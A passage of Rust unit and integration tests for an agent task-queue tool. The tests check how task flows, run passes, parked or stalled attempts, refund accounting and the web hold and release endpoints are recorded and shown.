13988    fn flow_context_links_do_not_expect_start_times() {
13989        let mut task = flow_task(&[]);
13990        task.source = Source::Agent {
13991            run: "chat-id".to_owned(),
13992            node: "chat".to_owned(),
13993        };
13994        let origin = followup_origin(&fu(None), |_| None, |_| None);
13995        let flow = task_flow(&task, &[], 5, Some(&origin));
13996        for node in &flow.nodes[..2] {
13997            assert!(!node.time_expected);
13998            assert_eq!(node.started_at, None);
13999        }
14000        assert!(flow.nodes[2].time_expected);
14001    }
14002
14003    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14004        crate::queue::FollowUp {
14005            run: "20260901-000000-aaaa".to_owned(),
14006            origin_task: origin_task.map(str::to_owned),
14007            pr: "https://example.com/o/r/pull/1".to_owned(),
14008            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14009                .map(str::to_owned)
14010                .to_vec(),
14011            generation: 1,
14012        }
14013    }
14014
14015    fn parent_task() -> Task {
14016        let mut p = flow_task(&[]);
14017        p.title = "Parent title".to_owned();
14018        p.status = TaskStatus::Done;
14019        p
14020    }
14021
14022    #[test]
14023    fn flow_opens_with_the_parent_task_of_a_followup() {
14024        let p = parent_task();
14025        let pid = p.id.clone();
14026        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14027        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14028        let n = &f.nodes[0];
14029        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14030        assert_eq!(
14031            n.label,
14032            format!("Follow-up of {}", crate::queue::short(&pid))
14033        );
14034        assert_eq!(n.detail.as_deref(), Some("Parent title"));
14035        assert_eq!(n.status, Some("done"));
14036        assert_eq!(n.status_of, "task");
14037        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14038        assert_eq!(f.nodes[1].key, "start");
14039        assert_eq!(f.edges[0].from, "origin");
14040        assert_eq!(
14041            f.edges[0].label,
14042            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14043        );
14044    }
14045
14046    #[test]
14047    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14048        let o = followup_origin(
14049            &fu(Some("gone")),
14050            |_| None,
14051            |_| {
14052                Some(RunState::new(
14053                    std::path::PathBuf::from("."),
14054                    "main".to_owned(),
14055                    "0".to_owned(),
14056                    "t".to_owned(),
14057                    crate::config::Config::default(),
14058                ))
14059            },
14060        );
14061        assert!(o.parent.is_none());
14062        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14063        let n = &f.nodes[0];
14064        assert_eq!(n.status_of, "run");
14065        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14066        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14067    }
14068
14069    #[test]
14070    fn flow_followup_with_nothing_readable_has_no_link() {
14071        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14072        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14073        let n = &f.nodes[0];
14074        assert_eq!(n.href, None);
14075        assert_eq!(n.note, Some("unreadable"));
14076        assert!(!n.readable);
14077    }
14078
14079    #[test]
14080    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14081        let o = followup_origin(&fu(None), |_| None, |_| None);
14082        let mut t = flow_task(&[]);
14083        t.origin_chat = Some("c1".to_owned());
14084        let f = task_flow(&t, &[], 5, Some(&o));
14085        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14086        t.source = Source::Agent {
14087            run: "c1".to_owned(),
14088            node: crate::queue::CHAT_NODE.to_owned(),
14089        };
14090        let f = task_flow(&t, &[], 5, Some(&o));
14091        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14092        assert_eq!(
14093            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14094            ("chat", "origin")
14095        );
14096    }
14097
14098    #[test]
14099    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14100        let mut p = parent_task();
14101        p.id = "a b/c".to_owned();
14102        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14103        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14104    }
14105
14106    #[test]
14107    fn flow_opens_with_the_chat_that_queued_the_task() {
14108        let mut t = flow_task(&[]);
14109        t.source = Source::Agent {
14110            run: "a b/c".to_owned(),
14111            node: crate::queue::CHAT_NODE.to_owned(),
14112        };
14113        let f = flow_for(&t, &[]);
14114        assert_eq!(f.nodes[0].key, "chat");
14115        assert_eq!(f.nodes[0].kind, "chat");
14116        assert_eq!(
14117            f.nodes[0].label,
14118            format!("Chat {}", crate::queue::short("a b/c"))
14119        );
14120        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14121        assert_eq!(f.nodes[1].key, "start");
14122        assert_eq!(
14123            f.edges[0],
14124            FlowEdge {
14125                from: "chat".to_owned(),
14126                to: "start".to_owned(),
14127                label: "queued from chat".to_owned(),
14128                attempt: AttemptCost::None,
14129            }
14130        );
14131    }
14132
14133    #[test]
14134    fn flow_has_no_chat_box_for_other_sources() {
14135        for source in [
14136            Source::Human,
14137            Source::Issue {
14138                number: 3,
14139                repo: "o/r".to_owned(),
14140            },
14141            Source::Agent {
14142                run: "20260904-014455-ab12".to_owned(),
14143                node: "implement".to_owned(),
14144            },
14145        ] {
14146            let mut t = flow_task(&[]);
14147            t.source = source;
14148            let f = flow_for(&t, &[]);
14149            assert_eq!(f.nodes[0].key, "start");
14150            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14151            assert!(f.edges.iter().all(|e| e.from != "chat"));
14152        }
14153    }
14154
14155    const FA: &str = "20260902-140501-aaaa";
14156    const FB: &str = "20260902-140502-bbbb";
14157
14158    #[test]
14159    fn flow_follows_blocked_retry_merged_to_done() {
14160        let mut t = flow_task(&[FA, FB]);
14161        t.status = TaskStatus::Done;
14162        let f = flow_for(
14163            &t,
14164            &[
14165                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14166                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14167            ],
14168        );
14169        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14170        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14171        assert_eq!(f.edges.len(), 3);
14172        assert_eq!(f.edges[0].label, "claimed");
14173        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14174        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14175        assert_eq!(f.edges[2].label, "merged \u{2192} done");
14176        assert_eq!(
14177            f.nodes[2].href.as_deref(),
14178            Some("#/runs/20260902-140502-bbbb")
14179        );
14180        assert!(f.nodes[2].decided);
14181    }
14182
14183    #[test]
14184    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14185        let quota = || {
14186            flow_run(RunStatus::Stalled, |s| {
14187                s.quota.push(crate::run::QuotaLoss {
14188                    seat: "judge-1".to_owned(),
14189                    node: "judge".to_owned(),
14190                    at: Timestamp::now(),
14191                    reset: None,
14192                })
14193            })
14194        };
14195        let mut t = flow_task(&[FA, FA]);
14196        t.status = TaskStatus::Queued;
14197        let f = flow_for(&t, &[(FA, Some(quota()))]);
14198        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14199        assert_eq!(f.nodes[1].note, Some("interrupted"));
14200        assert_eq!(
14201            f.nodes[1].status, None,
14202            "no outcome copied onto an earlier pass"
14203        );
14204        assert_eq!(
14205            f.edges[1].attempt,
14206            AttemptCost::Unknown,
14207            "a resume does not prove the earlier pass was refunded"
14208        );
14209        assert!(f.edges[1].label.contains("resume the same run"));
14210        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14211        assert_eq!(
14212            f.edges[2].label,
14213            "stalled after a resume, refund unknown \u{2192} queued"
14214        );
14215        assert!(!f.nodes[2].decided, "a stall is not a decision");
14216        assert_eq!(f.nodes[2].note, Some("no verdict"));
14217    }
14218
14219    #[test]
14220    fn flow_single_pass_quota_stall_is_refunded() {
14221        let t = flow_task(&[FA]);
14222        let f = flow_for(
14223            &t,
14224            &[(
14225                FA,
14226                Some(flow_run(RunStatus::Stalled, |s| {
14227                    s.quota.push(crate::run::QuotaLoss {
14228                        seat: "judge-1".to_owned(),
14229                        node: "judge".to_owned(),
14230                        at: Timestamp::now(),
14231                        reset: None,
14232                    })
14233                })),
14234            )],
14235        );
14236        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14237    }
14238
14239    #[test]
14240    fn flow_parked_refunds_and_stall_without_quota_spends() {
14241        let mut t = flow_task(&[FA]);
14242        t.status = TaskStatus::Queued;
14243        let f = flow_for(
14244            &t,
14245            &[(
14246                FA,
14247                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14248            )],
14249        );
14250        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14251        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14252        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14253        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14254        assert!(!f.nodes[1].decided);
14255    }
14256
14257    #[test]
14258    fn flow_keeps_an_unreadable_run_as_its_own_node() {
14259        let t = flow_task(&[FA, FB]);
14260        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14261        assert_eq!(f.nodes[1].note, Some("unreadable"));
14262        assert!(!f.nodes[1].readable);
14263        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14264        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14265    }
14266
14267    #[test]
14268    fn flow_names_the_branch_of_a_review_only_run() {
14269        let t = flow_task(&[FA]);
14270        let f = flow_for(
14271            &t,
14272            &[(
14273                FA,
14274                Some(flow_run(RunStatus::Merged, |s| {
14275                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14276                })),
14277            )],
14278        );
14279        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14280        assert_eq!(
14281            f.nodes[1].detail.as_deref(),
14282            Some("review-only run of branch magi/x/A")
14283        );
14284    }
14285
14286    #[test]
14287    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14288        let mut t = flow_task(&[FA]);
14289        t.status = TaskStatus::Held;
14290        let pr = crate::run::PrRecord {
14291            url: "https://example.test/pr/1".to_owned(),
14292            number: 1,
14293            state: "open".to_owned(),
14294            checks: "green".to_owned(),
14295            round: 0,
14296            rounds: 3,
14297            red_at_merge: Vec::new(),
14298        };
14299        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14300        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14301        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14302        t.status = TaskStatus::Done;
14303        let f = flow_for(&t, &[(FA, Some(blocked))]);
14304        assert_eq!(f.edges[1].label, "closed by hand: task is done");
14305    }
14306
14307    #[test]
14308    fn flow_with_no_runs_goes_from_queued_to_queued() {
14309        let t = flow_task(&[]);
14310        let f = flow_for(&t, &[]);
14311        assert_eq!(f.nodes.len(), 2);
14312        assert_eq!(f.edges.len(), 1);
14313        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14314        assert_eq!(f.edges[0].attempt, AttemptCost::None);
14315    }
14316
14317    /// A run parked mid-flight keeps a non-terminal status; the page must
14318    /// still say why it stopped and that the attempt came back.
14319    #[test]
14320    fn a_parked_non_terminal_run_is_explained_as_parked() {
14321        let mut s = RunState::new(
14322            PathBuf::from("/repo/magi"),
14323            "main".to_owned(),
14324            "0123456789abcdef".to_owned(),
14325            "Do it".to_owned(),
14326            Config::default(),
14327        );
14328        s.status = RunStatus::Implementing;
14329        s.parked = true;
14330        let task = Task::new(
14331            "t".to_owned(),
14332            "Do it".to_owned(),
14333            PathBuf::from("/repo/magi"),
14334            Source::Human,
14335        );
14336        let v = task_run_view(
14337            "20260902-140501-aaaa",
14338            Some(&s),
14339            RunSlot {
14340                n: 1,
14341                resumed: false,
14342                resumed_later: None,
14343                prior: None,
14344                last: true,
14345                ..RunSlot::default()
14346            },
14347            &task,
14348        );
14349        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14350    }
14351
14352    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14353        let mut s = flow_run(RunStatus::Implementing, edit);
14354        s.parked = false;
14355        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14356        task_run_view(
14357            "20260902-140501-aaaa",
14358            Some(&s),
14359            RunSlot {
14360                n: 1,
14361                resumed: false,
14362                resumed_later: Some(2),
14363                prior: None,
14364                last: false,
14365                ..RunSlot::default()
14366            },
14367            &task,
14368        )
14369    }
14370
14371    #[test]
14372    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14373        let v = earlier_pass_view(|_| {});
14374        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14375        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14376        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14377        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14378        assert_eq!(v.exit, RunExit::Interrupted);
14379        assert_eq!(v.attempt, AttemptCost::Unknown);
14380    }
14381
14382    #[test]
14383    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14384        let v = earlier_pass_view(|s| {
14385            s.quota.push(crate::run::QuotaLoss {
14386                seat: "judge-1".to_owned(),
14387                node: "judge".to_owned(),
14388                at: Timestamp::now(),
14389                reset: None,
14390            });
14391        });
14392        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14393        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14394        assert_eq!(v.attempt, AttemptCost::Unknown);
14395    }
14396
14397    #[test]
14398    fn the_current_pass_states_its_recorded_cause_and_cost() {
14399        let slot = || RunSlot {
14400            n: 1,
14401            resumed: false,
14402            resumed_later: None,
14403            prior: None,
14404            last: true,
14405            ..RunSlot::default()
14406        };
14407        let task = flow_task(&["20260902-140501-aaaa"]);
14408        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14409        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14410        assert_eq!(
14411            (v.exit, v.attempt),
14412            (RunExit::Parked, AttemptCost::Refunded)
14413        );
14414        let spent = flow_run(RunStatus::Blocked, |_| {});
14415        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14416        assert_eq!(v.attempt, AttemptCost::Spent);
14417        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14418    }
14419
14420    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14421        crate::run::RunPass {
14422            index,
14423            started_at: Timestamp::now(),
14424            resumed: index > 0,
14425            ended_at: end.as_ref().map(|_| Timestamp::now()),
14426            end,
14427            task_entry: true,
14428        }
14429    }
14430
14431    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14432        Some(crate::run::PassEnd::Parked { cause })
14433    }
14434
14435    fn upgrade_cause() -> crate::run::ParkCause {
14436        crate::run::ParkCause::Upgrade {
14437            from: "0.121.0".to_owned(),
14438            to: Some("0.121.1".to_owned()),
14439        }
14440    }
14441
14442    fn settled_pass(
14443        run: &str,
14444        index: usize,
14445        cost: crate::queue::PassCost,
14446    ) -> crate::queue::TaskPass {
14447        crate::queue::TaskPass {
14448            run: run.to_owned(),
14449            pass_index: index,
14450            cost,
14451            attempts_after: 1,
14452            settled_at: Timestamp::now(),
14453            parked: None,
14454        }
14455    }
14456
14457    const RUN_X: &str = "20261011-223708-4334";
14458
14459    #[test]
14460    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14461        use crate::queue::PassCost;
14462        let run = flow_run(RunStatus::Implementing, |s| {
14463            s.passes = vec![
14464                recorded_pass(0, parked(upgrade_cause())),
14465                recorded_pass(1, None),
14466            ];
14467        });
14468        let mut task = flow_task(&[RUN_X, RUN_X]);
14469        task.attempts = 1;
14470        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14471        let h = task_history(&task, |_| Some(run.clone()));
14472        assert_eq!(h.len(), 2);
14473        assert_eq!(h[0].kind, "competition");
14474        assert_eq!(h[1].kind, "resume");
14475        assert_eq!(
14476            (h[0].exit, h[0].attempt),
14477            (RunExit::Parked, AttemptCost::Refunded)
14478        );
14479        assert!(
14480            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14481            "{}",
14482            h[0].outcome
14483        );
14484        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14485        assert!(
14486            h[0].outcome.contains("pass #2 resumed the same run"),
14487            "{}",
14488            h[0].outcome
14489        );
14490        assert!(
14491            h[0].outcome.contains("pass 1 of 2 over run"),
14492            "{}",
14493            h[0].outcome
14494        );
14495        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14496        assert_eq!(
14497            h[0].exit_label,
14498            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14499        );
14500        let f = task_flow(&task, &h, 2, None);
14501        // Two passes of one run, one of two attempts consumed.
14502        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14503        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14504        assert!(
14505            f.edges[1].label.contains("upgrade 0.121.0"),
14506            "{}",
14507            f.edges[1].label
14508        );
14509        assert!(
14510            f.edges[1].label.contains("resume the same run"),
14511            "{}",
14512            f.edges[1].label
14513        );
14514        assert_eq!(f.nodes[1].note, Some("parked"));
14515    }
14516
14517    #[test]
14518    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14519        let mut a = flow_run(RunStatus::Implementing, |s| {
14520            s.passes = vec![
14521                recorded_pass(0, parked(upgrade_cause())),
14522                recorded_pass(1, None),
14523            ];
14524        });
14525        let mut b = flow_run(RunStatus::Failed, |s| {
14526            s.passes = vec![recorded_pass(0, None)];
14527        });
14528        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14529        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14530        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14531        let mut task = flow_task(&[]);
14532        task.start("a".into());
14533        task.start("b".into());
14534        task.start("a".into());
14535        assert_eq!(task.runs, ["b", "a"]);
14536        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14537        let h = task_history(&task, |id| {
14538            Some(if id == "a" { a.clone() } else { b.clone() })
14539        });
14540        assert_eq!(
14541            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14542            ["a", "b", "a"]
14543        );
14544        assert_eq!(h[0].attempt, AttemptCost::Refunded);
14545        assert!(h[0].outcome.contains("upgrade"));
14546        assert_eq!(h[2].kind, "resume");
14547        assert!(h[2].pass.is_some());
14548        // The old repeated-id format must show the same recorded passes.
14549        task.runs = vec!["a".into(), "b".into(), "a".into()];
14550        let old = task_history(&task, |id| {
14551            Some(if id == "a" { a.clone() } else { b.clone() })
14552        });
14553        assert_eq!(
14554            old.iter()
14555                .map(|v| (&v.id, &v.kind, v.attempt))
14556                .collect::<Vec<_>>(),
14557            h.iter()
14558                .map(|v| (&v.id, &v.kind, v.attempt))
14559                .collect::<Vec<_>>()
14560        );
14561    }
14562
14563    #[test]
14564    fn an_upgrade_whose_target_was_not_known_says_so() {
14565        let run = flow_run(RunStatus::Implementing, |s| {
14566            s.passes = vec![
14567                recorded_pass(
14568                    0,
14569                    parked(crate::run::ParkCause::Upgrade {
14570                        from: "0.121.0".to_owned(),
14571                        to: None,
14572                    }),
14573                ),
14574                recorded_pass(1, None),
14575            ];
14576        });
14577        let task = flow_task(&[RUN_X, RUN_X]);
14578        let h = task_history(&task, |_| Some(run.clone()));
14579        assert!(
14580            h[0].outcome.contains("upgrade from 0.121.0"),
14581            "{}",
14582            h[0].outcome
14583        );
14584        // No settle record: the refund is not claimed.
14585        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14586    }
14587
14588    #[test]
14589    fn each_pass_keeps_its_own_cause_across_several_resumes() {
14590        use crate::queue::PassCost;
14591        use crate::run::ParkCause;
14592        let run = flow_run(RunStatus::Implementing, |s| {
14593            s.passes = vec![
14594                recorded_pass(0, parked(upgrade_cause())),
14595                recorded_pass(
14596                    1,
14597                    parked(ParkCause::Interrupt {
14598                        reason: "task a1b2 asked to run first".to_owned(),
14599                    }),
14600                ),
14601                recorded_pass(2, parked(ParkCause::Operator)),
14602                recorded_pass(3, None),
14603            ];
14604        });
14605        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14606        task.attempts = 1;
14607        task.passes = (0..3)
14608            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14609            .collect();
14610        let h = task_history(&task, |_| Some(run.clone()));
14611        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14612        assert!(
14613            h[1].outcome.contains("task a1b2 asked to run first"),
14614            "{}",
14615            h[1].outcome
14616        );
14617        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14618        assert!(
14619            h[2].outcome.contains("operator asked the loop to park"),
14620            "{}",
14621            h[2].outcome
14622        );
14623        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14624        let f = task_flow(&task, &h, 2, None);
14625        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14626    }
14627
14628    #[test]
14629    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14630        let run = flow_run(RunStatus::Implementing, |s| {
14631            s.passes = vec![
14632                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14633                recorded_pass(1, None),
14634            ];
14635        });
14636        let task = flow_task(&[RUN_X, RUN_X]);
14637        let h = task_history(&task, |_| Some(run.clone()));
14638        assert_eq!(h[0].exit, RunExit::Interrupted);
14639        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14640        assert!(
14641            h[0].outcome.contains("without recording why"),
14642            "{}",
14643            h[0].outcome
14644        );
14645        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14646        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14647    }
14648
14649    #[test]
14650    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14651        use crate::queue::PassCost;
14652        // Three entries, but the run only began keeping passes at the last
14653        // two: the first is legacy and must not be given a cause.
14654        let run = flow_run(RunStatus::Implementing, |s| {
14655            s.passes = vec![
14656                recorded_pass(0, parked(upgrade_cause())),
14657                recorded_pass(1, None),
14658            ];
14659        });
14660        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14661        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14662        let h = task_history(&task, |_| Some(run.clone()));
14663        assert!(h[0].pass.is_none());
14664        assert_eq!(h[0].exit, RunExit::Interrupted);
14665        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14666        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14667        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14668        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14669        // A run with no passes at all is entirely unknown.
14670        let legacy = flow_run(RunStatus::Implementing, |_| {});
14671        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14672        assert!(h.iter().all(|v| v.pass.is_none()));
14673        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14674    }
14675
14676    #[test]
14677    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14678        use crate::queue::PassCost;
14679        // Pass 1 is a web-button resume: a pass of the run, no entry of the
14680        // task. The two entries are passes 0 and 2.
14681        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14682        web.task_entry = false;
14683        let run = flow_run(RunStatus::Implementing, |s| {
14684            s.passes = vec![
14685                recorded_pass(0, parked(upgrade_cause())),
14686                web.clone(),
14687                recorded_pass(2, None),
14688            ];
14689        });
14690        let mut task = flow_task(&[RUN_X, RUN_X]);
14691        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14692        let h = task_history(&task, |_| Some(run.clone()));
14693        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14694        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14695
14696        // Legacy first entry, then a web resume that parked for an upgrade,
14697        // then the daemon's pass: the legacy entry must stay unknown.
14698        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14699        web0.task_entry = false;
14700        let run = flow_run(RunStatus::Implementing, |s| {
14701            s.passes = vec![web0.clone(), recorded_pass(1, None)];
14702        });
14703        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14704        assert!(h[0].pass.is_none());
14705        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14706        assert!(h[1].pass.is_some());
14707    }
14708
14709    #[tokio::test]
14710    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14711        let dir = tempfile::tempdir().unwrap();
14712        let queue = Queue::at(dir.path().join("queue"));
14713        let ui = Arc::new(Ui::new(
14714            queue.clone(),
14715            Questions::at(dir.path().join("questions")),
14716            Talks::at(dir.path().join("talks")),
14717            dir.path().join("runs"),
14718            dir.path().to_path_buf(),
14719            dir.path().to_path_buf(),
14720        ));
14721        let mut t = Task::new(
14722            "recover".into(),
14723            "Inspect".into(),
14724            PathBuf::from("."),
14725            Source::Human,
14726        );
14727        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14728        t.start("run-A".into());
14729        t.release_operator("choice", Some("resume-question"));
14730        t.resume_override = Some(crate::queue::OperatorResume {
14731            question_id: "resume-question".into(),
14732            at: jiff::Timestamp::now(),
14733            conductor_rehold: None,
14734            forced: true,
14735            pinned_run: Some("run-A".into()),
14736        });
14737        t.hold_machine(Some("inspection pending".into()));
14738        t.edit("recover".into(), "Reuse approved PR head".into())
14739            .unwrap();
14740        queue.put(&mut t).unwrap();
14741        let mut cli = t.clone();
14742        cli.release_operator("cli", None);
14743        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14744        let reloaded = queue.get(&t.id).unwrap();
14745        assert_eq!(reply.task.status, TaskStatus::Queued);
14746        assert!(reloaded.resume_override.is_none());
14747        assert_eq!(reloaded.answers, t.answers);
14748        let mut web = reloaded.resumption.unwrap();
14749        let cli = cli.resumption.unwrap();
14750        assert_eq!(web.source, "web");
14751        web.source = cli.source.clone();
14752        web.at = cli.at;
14753        assert_eq!(web, cli);
14754    }
14755
14756    #[tokio::test]
14757    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14758        let f = Fixture::start().await;
14759        let queue = f.queue();
14760        let mut task = Task::new(
14761            "spent".to_owned(),
14762            "Try again".to_owned(),
14763            PathBuf::from("/repo/magi"),
14764            Source::Human,
14765        );
14766        task.start("20260902-140502-bbbb".to_owned());
14767        task.fail("agent gave up", 9);
14768        queue.put(&mut task).expect("file the task");
14769
14770        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14771        assert_eq!(held.status, 200);
14772        assert_eq!(held.json()["status_str"], "held");
14773
14774        let released = f
14775            .post(&format!("/api/queue/{}/release", task.id), None)
14776            .await;
14777        assert_eq!(released.status, 200);
14778        assert_eq!(released.json()["status_str"], "queued");
14779        assert_eq!(released.json()["resumption"]["source"], "web");
14780        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14781        let mut cli = task.clone();
14782        cli.release_operator("cli", None);
14783        let web = queue.get(&task.id).unwrap().resumption.unwrap();
14784        let cli = cli.resumption.unwrap();
14785        assert_eq!(web.instruction, cli.instruction);
14786        assert_eq!(web.answers_through, cli.answers_through);
14787        assert_eq!(web.runs_through, cli.runs_through);
14788        assert_eq!(web.cleared_reason, cli.cleared_reason);
14789        assert_eq!(
14790            released.json()["attempts"],
14791            0,
14792            "release is a real second chance, not an instant re-hold"
14793        );
14794        assert_eq!(
14795            queue.get(&task.id).expect("reload").status,
14796            TaskStatus::Queued,
14797            "the change is on disk, not only in the reply"
14798        );
14799        assert!(
14800            !f.home
14801                .path()
14802                .join("queue")
14803                .join(format!("{}.lock", task.id))
14804                .exists(),
14805            "the claim the mutation took is released again"
14806        );
14807    }
14808
14809    #[tokio::test]
14810    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14811        let f = Fixture::start().await;
14812        let queue = f.queue();
14813        let mut task = Task::new(
14814            "busy".to_owned(),
14815            "Running right now".to_owned(),
14816            PathBuf::from("/repo/magi"),
14817            Source::Human,
14818        );
14819        queue.put(&mut task).expect("file the task");
14820        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14821
14822        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14823
14824        assert_eq!(res.status, 409);
14825        assert_eq!(
14826            queue.get(&task.id).expect("reload").status,
14827            TaskStatus::Queued,
14828            "the refused hold changed nothing"
14829        );
14830    }
14831
14832    #[tokio::test]
14833    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14834        let f = Fixture::start().await;
14835        let queue = f.queue();
14836        let mut task = Task::new(
14837            "waiting on the migration".to_owned(),
14838            "Do the thing".to_owned(),
14839            PathBuf::from("/repo/magi"),
14840            Source::Human,
14841        );
14842        queue.put(&mut task).expect("file the task");
14843
14844        let held = f
14845            .post(
14846                &format!("/api/queue/{}/hold", task.id),
14847                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
